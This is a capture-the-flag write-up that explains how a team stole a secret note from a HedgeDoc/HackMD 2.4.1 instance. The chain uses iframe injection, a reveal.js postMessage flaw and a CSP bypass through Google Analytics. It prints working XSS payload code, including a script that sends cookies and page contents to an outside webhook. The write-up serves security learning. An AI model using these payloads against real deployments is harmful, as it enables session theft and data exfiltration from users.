Pwn2win - Hackus

Share on:


Writeup by: andyandpandy

Solved by: andyandpandy, eskildsen, 2by4


This is most likely an unintended solution.

TL;DR: Create a note with two iframes. First iframe gets /s/secret-note, second gets from, which returns a html page where another iframe is loaded based on an 0-day (CVE-2021-39175)[] in a dependency (reveal js), which hedgedoc allowed. Here we postMessages to the iframe which loads an evil script from google analytics, which fetches the /s/secret-note with forced cache, ensuring that it’s the same page that was cached earlier that is sent to the webhook.


Last year, while an oblivious supervisor responsible for Rhiza’s communication systems drank a Hacker-Pschorr Weissbier, an operation was launched by several insurgent groups to both find vulnerabilities in their systems and intercept Rhiza’s communications. Although the operation was very successful, months later all the vulnerabilities were fixed.

We now need you to find a way to hack into their systems again and leak their secret communications.


The flag is located at:

You can report URLs at:

You can test locally by deploying the following docker-compose file (only the CodiMD instance with the respective configurations used in the challenge are available):


# This is a deployment file if you want to test locally (only the CodiMD instance is available).
# In the real challenge's instance, a user and a secret note were created.
# The secret note (flag) is located at "" and can only be accessed by this user.
# You can report URLs at "" and the authenticated user will access them.
# To start the server use "docker-compose up -d".
version: "3" 
    image: mariadb:10
      - MYSQL_USER=hackmd
      - MYSQL_PASSWORD=change_password
      - MYSQL_DATABASE=hackmd
      - "database-data:/var/lib/mysql"
    restart: always
    image: hackmdio/hackmd:2.4.1
      - CMD_DB_URL=mysql://hackmd:change_password@database/hackmd
      - CMD_USECDN=false
      - CMD_ALLOW_PDF_EXPORT=false
      - CMD_IMGUR_CLIENTID=0035467289f7f45
      - database
      - "80:3000"
      - upload-data:/home/hackmd/app/public/uploads
    restart: always
  database-data: {}
  upload-data: {}


First thing you will notice is that the hackmd version is 2.4.1, which is at the time the latest version released.

This essentially tells us that we have to find 0-days, look through recent issues/PRs that are sketchy, or go after the dependencies of the project. Initial setup was based on an issue reported about iframes, sandboxing and xss. Issue 1263

<!-- -->
<iframe src="https://<uid>" sandbox="allow-scripts allow-top-navigation allow-scripts allow-same-origin"></iframe>

From that we were able to get an iframe injected, which could run javascript, but this is still not on the domain, so we would not be able to include cookies from here.

So we want XSS on the domain, so we needed to find something to trigger on their domain instead of pipedream, which is where the plugin reveal js helped. In reveal js the postMessage targetOrigin is specified as “*”, which is bad Read here for more

So because of issue 1263 we were now able to inject html/css/js from an iframe and here we created another iframe with the poor plugin We then used postMessage to communicate with. The injection returned by is below (possibly this can be cleaned up):


        var url = atob("PGlmcmFtZSBzcmNkb2M9IjxodG1sPjxzY3JpcHQgc3JjPSdodHRwczovL3d3dy5nb29nbGUtYW5hbHl0aWNzLmNvbS9ndG0vanM/aWQ9aWQnPjwvc2NyaXB0PjwvaHRtbD4iPjwvaWZyYW1lPg==");
        var v = JSON.stringify({"type": "state", "namespace": "reveal-notes", "notes": url});

        var ifr = document.createElement("iframe");
        ifr.setAttribute("src", "")
        ifr.setAttribute("sandbox", "allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox");
        ifr.setAttribute("style", "height:800px;width:800px;");
        ifr.onload = () => {
           ifr.contentWindow.postMessage(JSON.stringify({"type": "connect", "namespace": "reveal-notes", "state":                 {"indexv":"asd", "indexh": "asd"}, "url": "anywhere"}), "*")
           setTimeout(() => ifr.contentWindow.postMessage(v, "*"), 1000);


There was also a CSP which had to be considered, but there are many options here for loading something in:

default-src 'self'; script-src 'self' 'unsafe-eval' https://* https://* 'nonce-ad5259b6-7303-423e-b695-4c6860d2882e' 'sha256-81acLZNZISnyGYZrSuoYhpzwDTTxi7vC1YM4uNxqWaM='; img-src * data:; style-src 'self' 'unsafe-inline' https://*; font-src 'self' data: https://*; object-src *; media-src *; child-src *; connect-src *

Because of some weird parsing issues we used atob for the payload that was about to inject js on the domain. Payload:

<iframe srcdoc="<html><script src=''></script></html>"></iframe>

This loads our script from google-analytics because the csp allows this. The script loaded from google analytics:

  function log( m){ 
    navigator.sendBeacon("<uid>/javascript-triggered"+ document.cookie, m);
  // Sanity
  log("Loaded google analytics!");
  var twindow ="<uid>/popup-triggered");
  setTimeout(function() {log(twindow.document.body.innerHTML)}, 1000);

  // Sanity
  fetch("/me" , {"cache": "force-cache"}).then(function(t) {return t.text()}).then(function(r){ log(r)})
  // Flag
  fetch("", {"cache": "force-cache"}).then(function(t) {return t.text()}).then(function(r){ log(r)})
     return "evil";     

We create a function log that sends to our webhook. There are a few sanity checks along the way that can be simply removed, but the fetch includes one very important thing which is force-cache. We sat with this challenge for a long time because cookies were not included in the headless chrome admin requests. So the payload initially worked on firefox but not for chrome, thereby not for the admin.

Finally we realised that we could first load an iframe with the /s/secret-note and not do anything with it other than know that the admin can see it, and here force the same response through cache.

The note with the iframes that starts it all:

<!-- Flag -->
<iframe src=""></iframe>
<!-- -->
<iframe src="" sandbox="allow-scripts allow-top-navigation allow-scripts allow-same-origin"></iframe>
Flag: CTF-BR{}